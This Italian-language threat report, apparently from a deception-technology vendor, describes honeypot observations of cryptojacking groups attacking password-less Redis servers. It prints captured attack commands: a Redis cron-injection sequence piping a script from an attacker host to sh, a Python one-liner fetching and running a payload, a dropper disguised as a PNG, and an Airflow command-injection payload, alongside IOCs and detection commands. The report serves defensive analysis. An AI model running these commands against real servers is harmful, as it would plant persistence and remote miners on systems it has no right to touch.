La vulnerabilità RediShell (CVE-2025-49844) ha appena scosso il mondo della sicurezza con un severity score perfetto di 10 su 10. In un contesto dove ci sono 60.000 server Redis connessi a Internet senza alcuna password.
Con un costo medio di violazione dei dati di 4,4 milioni di dollari per le aziende, questi punti di accesso hanno un’esposizione a potenziali danni per oltre 200 miliardi di dollari. Solo in Italia ci sono oltre 300 di questi server esposti, con un impatto potenziale di 1,32 miliardi di dollari.
Abbiamo indagato su cosa succede quando questi server sono esposti e osservato i comportamenti degli attaccanti.

Scoperta da Wiz Research il 3 ottobre 2025, la CVE-2025-49844 è una criticità di esecuzione di codice da remoto. Un bug di corruzione della memoria di tipo use-after-free rimasto nascosto per 13 anni nel motore di scripting Lua e presente in tutte le versioni di Redis.
Per essere sfruttata, però, la falla richiede una connessione autenticata.
Non sarebbe un grande problema, se non fosse che oltre 60.000 server Redis sono esposti senza password. RediShell è stata rapidamente corretta negli ambienti gestiti. Ma per quei 60.000 server che accettano connessioni senza autenticazione, i rischi non finiscono: sono esposti a tutto.
Senza autenticazione, chiunque si connetta risulta di fatto “autenticato”. Queste istanze diventano quindi vulnerabili non solo a exploit avanzati come la CVE-2025-49844, ma anche ad attacchi banali: accesso ai dati, esecuzione di comandi, cryptojacking, esfiltrazione di dati.
Su circa 360.000 istanze Redis pubblicamente accessibili, 60.000, quasi una su sei, non richiedono password. Niente credenziali, chiavi API o certificati: basta una connessione TCP alla porta 6379 per ottenere pieno accesso in lettura e scrittura.
Volevamo capire, con precisione, cosa succede quando un attaccante si imbatte in questi server.
Per questa ricerca, abbiamo distribuito honeypot Redis configurati per rispecchiare esattamente le configurazioni errate che vediamo negli ambienti reali: nessuna autenticazione, impostazioni predefinite, porta 6379 pubblicamente accessibile. Abbiamo posizionato i nostri emulatori tra le 60.000 istanze vulnerabili in attesa di vedere cosa sarebbe successo.
I nostri honeypot hanno intercettato un’operazione di cryptojacking attiva e organizzata, diffusa su più continenti e provider cloud.
Gli attacchi sono arrivati da 15 Paesi, appoggiandosi all’infrastruttura dei principali cloud provider e sfruttando tecniche diverse.
In sintesi:
Gli attaccanti hanno sfruttato soprattutto infrastrutture di provider cinesi (Alibaba Cloud, Tencent Cloud, Baidu Cloud), ma i server vulnerabili sono distribuiti ovunque, senza un singolo Paese dominante.
I primi tre, USA (20,3%), Cina (16,91%) e Germania (7,71%), rappresentano meno della metà delle istanze esposte. È un problema globale, con attaccanti globali.

Analizzando gli IP attaccanti, abbiamo scoperto che tanti di essi non erano ancora stati segnalati in GreyNoise o flaggati come malicious su AbuseIPDB, piattaforme leader nel monitoraggio delle attività di scansione su Internet:



Questo dimostra un vantaggio chiave della threat intelligence basata su honeypot, scoprire attaccanti ed indirizzi IP malevoli prima che compaiano nei database pubblici, fornendo avvisi preventivi prima che gli aggressori compromettano i sistemi di produzione.
Gli attacchi non si sono mai fermati. Le tecniche si sono evolute. E ogni interazione ha rivelato qualcosa di più su come queste organizzazioni criminali operano su larga scala.
Come dicevamo, su circa 360.000 istanze Redis pubbliche, 60.000 (16,7%) non richiedono alcuna autenticazione. Ma dove si trovano questi 60.000 server vulnerabili?
I primi 10 Paesi sono riportati nella tabella sottostante.
| Pos. | Paese | Server Vulnerabili | % del Totale |
| 1 | Stati Uniti (US) | 12.151 | 20,30% |
| 2 | Cina (CN) | 10.125 | 16,91% |
| 3 | Germania (DE) | 4.614 | 7,71% |
| 4 | Francia (FR) | 4.301 | 7,18% |
| 5 | India (IN) | 2.998 | 5,01% |
| 6 | Russia (RU) | 2.775 | 4,64% |
| 7 | Singapore (SG) | 2.562 | 4,28% |
| 8 | Brasile (BR) | 2.190 | 3,66% |
| 9 | Corea del Sud (KR) | 1.724 | 2,88% |
| 10 | Finlandia (FI) | 1.475 | 2,46% |
Si tratta, dunque, di un problema realmente globale. Dagli Stati Uniti alla Finlandia, dal Brasile a Singapore: istanze Redis vulnerabili in oltre 50 Paesi.
Prevalenza: 87% degli attacchi osservati
Gruppi coinvolti: TA-NATALSTATUS, Cleanfda, Kinsing, WatchDog
Il pattern di attacco più diffuso che abbiamo osservato abusa della funzionalità di backup di Redis per ottenere l’esecuzione e la persistenza del codice:
# Passo 1: Cancellare i dati esistenti
FLUSHALL
# Passo 2: Disabilitare il controllo degli errori
CONFIG SET stop-writes-on-bgsave-error “no”
# Passo 3: Iniettare payload di cron job
SET backup1 “\n\n\n*/2 * * * * curl -fsSL http://194[.]110.247.97/ep9TS2/ndt.sh | sh\n\n”
# Passo 4: Cambiare la posizione di backup nella directory cron
CONFIG SET dir “/var/spool/cron/”
# Passo 5: Impostare il nome del file di backup
CONFIG SET dbfilename “root”
# Passo 6: Salvare la configurazione (scrive i cron job)
Questa tecnica è efficace perché:
Gli script shell scaricati tipicamente:
In questo pattern gli attaccanti usano uno script inline Python per scaricare payload camuffando i domini con dei backslash:
python -c “import urllib2; print urllib2.urlopen(‘http://\\b.\\c\\l\\u-e[.]eu/t.sh’).read()” >.1;chmod +x .1;./.1
I backslash servono a più scopi:
Gruppo: RedisRaider
Prima osservazione: 2025 (documentato da Datadog)
In questo pattern, gli attaccanti mascherano il loro malware come file immagine:
u=”http://a[.]hbweb.icu:8080/uploads/2024-7/99636-5b0c-4999-b.png”
t=”/tmp”
f=”mysql”
if ! [ -f “$t/$f” ]; then
if which curl; then
curl $u -o $t/$f > /dev/null 2>&1
fi
fi
chmod +x $t/$f
PATH=$t:$PATH nohup $f > /dev/null 2>&1 &
CVE: CVE-2020-11981 (Apache Airflow)
Esito: tentativi non riusciti (payload segnaposto)
La CVE-2020-11981 è una vulnerabilità nell’executor Celery di Apache Airflow che consente l’iniezione di comandi via Redis. Abbiamo osservato numerosi tentativi di sfruttarla:
{
“command”: “LPUSH”,
“args”: [
“default”,
“{\”headers\”: {\”task\”: \”airflow.executors.celery_executor.execute_command\”}, \”body\”: \”W1tbImN1cmwiLCAiaHR0cDovL3t7aW50ZXJhY3RzaC11cmx9fSJdXQ==\”}”
]
Decodificato in base64, il payload rivela:
[[“curl”, “http://{{interactsh-url}}”]]
Il placeholder {{interactsh-url}} segnala l’uso di strumenti di scansione automatizzata, non un exploitation manuale.
I nostri honeypot sono stati presi di mira da 103 indirizzi IP unici in 7 Paesi:
| Paese | Fonti di Attacco | Percentuale |
| Cina | 85 IP | 82,5% |
| Stati Uniti | 10 IP | 9,7% |
| Hong Kong | 4 IP | 3,9% |
| Vietnam | 1 IP | 1,0% |
| Thailandia | 1 IP | 1,0% |
| Singapore | 1 IP | 1,0% |
| Canada | 1 IP | 1,0% |
L’analisi delle informazioni ISP sugli IP attaccanti rivela un forte ricorso ai principali provider cloud:
| Provider | Conteggio | Posizione Principale |
| Alibaba Cloud (Aliyun) | 31 IP | Cina |
| CHINANET | 18 IP | Cina (varie province) |
| Tencent Cloud | 9 IP | Cina |
| Microsoft (Azure) | 7 IP | Stati Uniti |
| Baidu Netcom | 6 IP | Cina |
| DigitalOcean | 2 IP | Stati Uniti |
| Oracle Cloud | 1 IP | Canada |

Sulla base degli URL dei payload e dell’infrastruttura osservata, abbiamo identificato cinque gruppi distinti attivi contro i nostri honeypot.
Infrastruttura osservata:
Pattern di attacco: persistenza via cron
Payload osservati: ndt.sh, nnt.sh, is.sh, httpgd, pnscan.tar.gz
Infrastruttura osservata:
Pattern di attacco: iniezione via cron
Infrastruttura osservata:
Pattern di attacco: iniezione via cron.
Infrastruttura osservata:
Pattern di attacco: iniezione via cron
Infrastruttura osservata:
Pattern di attacco: malware mascherato da PNG
1) Distribuzione automatizzata
2) Intelligence in tempo reale Ogni comando, connessione e payload è catturato con contesto completo:
3) Analisi automatica delle minacce La piattaforma Tropico:
Se utilizzi Redis, verifica subito questi indicatori:
# Controlla i crontab degli utenti
crontab -l
# Controlla le directory cron di sistema
cat /etc/cron.d/*
cat /var/spool/cron/*
cat /var/spool/cron/crontabs/*
# Cerca voci sospette
grep -r “curl\|wget” /etc/cron* /var/spool/cron*
Segnali di allarme:
2) Controlla i processi in esecuzione
# Cerca miner e processi sospetti
ps aux | grep -iE “xmrig|miner|kinsing|mysql|httpgd” | grep -v grep
# Controlla l’uso della CPU
top -bn1 | head -20
# Controlla le connessioni di rete
netstat -antup | grep ESTABLISHED
3) Controlla la configurazione di Redis
redis-cli
CONFIG GET dir
CONFIG GET dbfilename
CONFIG GET requirepass
Verifica:
# Posizioni comuni per file rilasciati
ls -la /tmp/ | grep -iE “mysql|httpgd|kinsing”
ls -la /var/tmp/
ls -la /dev/shm/
# Controlla i file nascosti
Se trovi evidenze di compromissione:
Importante: in produzione valuta seriamente il reimaging completo. I cryptominer installano spesso molteplici meccanismi di persistenza difficili da estirpare.
Tutti e quattro i pattern osservati si possono prevenire con l’hardening standard di Redis:
Per i dettagli, fare riferimento alla documentazione ufficiale sulla sicurezza di Redis.
Domini malevoli che ospitano payload:
Indirizzi IP malevoli che ospitano payload:
103[.]79.77.16
194[.]110.247.97
45[.]83.122.25
45[.]89.52.41
185[.]19.33.145
104[.]164.55.217
45[.]128.150.171
45[.]83.123.29
79[.]137.195.151
149[.]28.85.17
Indirizzi IP sorgenti d’attacco:
La nostra rete di honeypot Redis ha portato alla luce un ecosistema attivo di gruppi ostili che prendono di mira le 60.000 istanze non autenticate esposte su Internet.
Abbiamo identificato cinque gruppi distinti, ciascuno con infrastrutture e tecniche proprie per compromettere i server vulnerabili.
1) Superficie di attacco enorme
Con 360.000 istanze pubbliche e 60.000 senza autenticazione, l’esposizione è ampia. I nostri honeypot sono stati individuati e sfruttati nel giro di poche ore.
2) Quattro tecniche in uso attivo
Le tecniche più utilizzate:
3) Infrastrutture cloud in prima linea
L’82,5% degli IP attaccanti proviene da infrastrutture cinesi:
Il 9,7% da provider statunitensi:
4) Cinque gruppi identificati
I più attivi contro istanze Redis configurate in modo errato:
Se gestisci server Redis:
Per dare più tempo al team di sicurezza per rispondere ad un attacco, prevenire gli attacchi, ed imporre un costo in termini di tempo e risorse all’attaccante, valuta l’adozione di tecnologie di deception, come la piattaforma Tropico, per intercettare gli attacchi prima che tocchino le macchine in produzione.